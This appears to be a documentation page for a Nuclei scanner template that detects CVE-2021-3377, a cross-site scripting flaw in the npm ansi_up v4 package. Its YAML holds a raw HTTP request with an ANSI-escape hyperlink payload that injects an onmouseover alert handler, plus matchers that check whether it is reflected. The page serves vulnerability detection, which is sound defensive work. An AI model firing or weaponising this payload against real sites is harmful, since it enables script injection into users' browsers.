Skip to content
Nuclei Templates

npm ansi_up v4 - Cross-Site Scripting

ID: CVE-2021-3377

Severity: medium

Author: geeknik

Tags: cve2021,cve,xss,npm,ansi_up_project,node.js

Description

Section titled “Description”

npm package ansi_up v4 is vulnerable to cross-site scripting because ANSI escape codes can be used to create HTML hyperlinks.

YAML Source

Section titled “YAML Source”
id: CVE-2021-3377


info:
  name: npm ansi_up v4 - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: npm package ansi_up v4 is vulnerable to cross-site scripting because ANSI escape codes can be used to create HTML hyperlinks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a user's browser, leading to potential data theft or unauthorized actions.
  remediation: Upgrade to v5.0.0 or later.
  reference:
    - https://doyensec.com/resources/Doyensec_Advisory_ansi_up4_XSS.pdf
    - https://github.com/drudru/ansi_up/commit/c8c726ed1db979bae4f257b7fa41775155ba2e27
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3377
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-3377
    cwe-id: CWE-79
    epss-score: 0.00129
    epss-percentile: 0.47703
    cpe: cpe:2.3:a:ansi_up_project:ansi_up:*:*:*:*:*:node.js:*:*
  metadata:
    max-request: 1
    vendor: ansi_up_project
    product: ansi_up
    framework: node.js
  tags: cve2021,cve,xss,npm,ansi_up_project,node.js


http:
  - raw:
      - |+
        GET /\u001B]8;;https://interact.sh"/onmouseover="alert(1)\u0007example\u001B]8;;\u0007 HTTP/1.1
        Host: {{Hostname}}
        Connection: close


    unsafe: true


    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"


      - type: word
        words:
          - "sh\"/onmouseover=\"alert(1)\">"
# digest: 4b0a00483046022100e10302d877287c45e50730a6c20a674058de4f633ffe2a46eeac645b70e889f8022100fd8d38f86e3f6fe3932b8fcbe603831cc8600612e707993383990c9f1e5a43d3:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-3377.yaml"

View on Github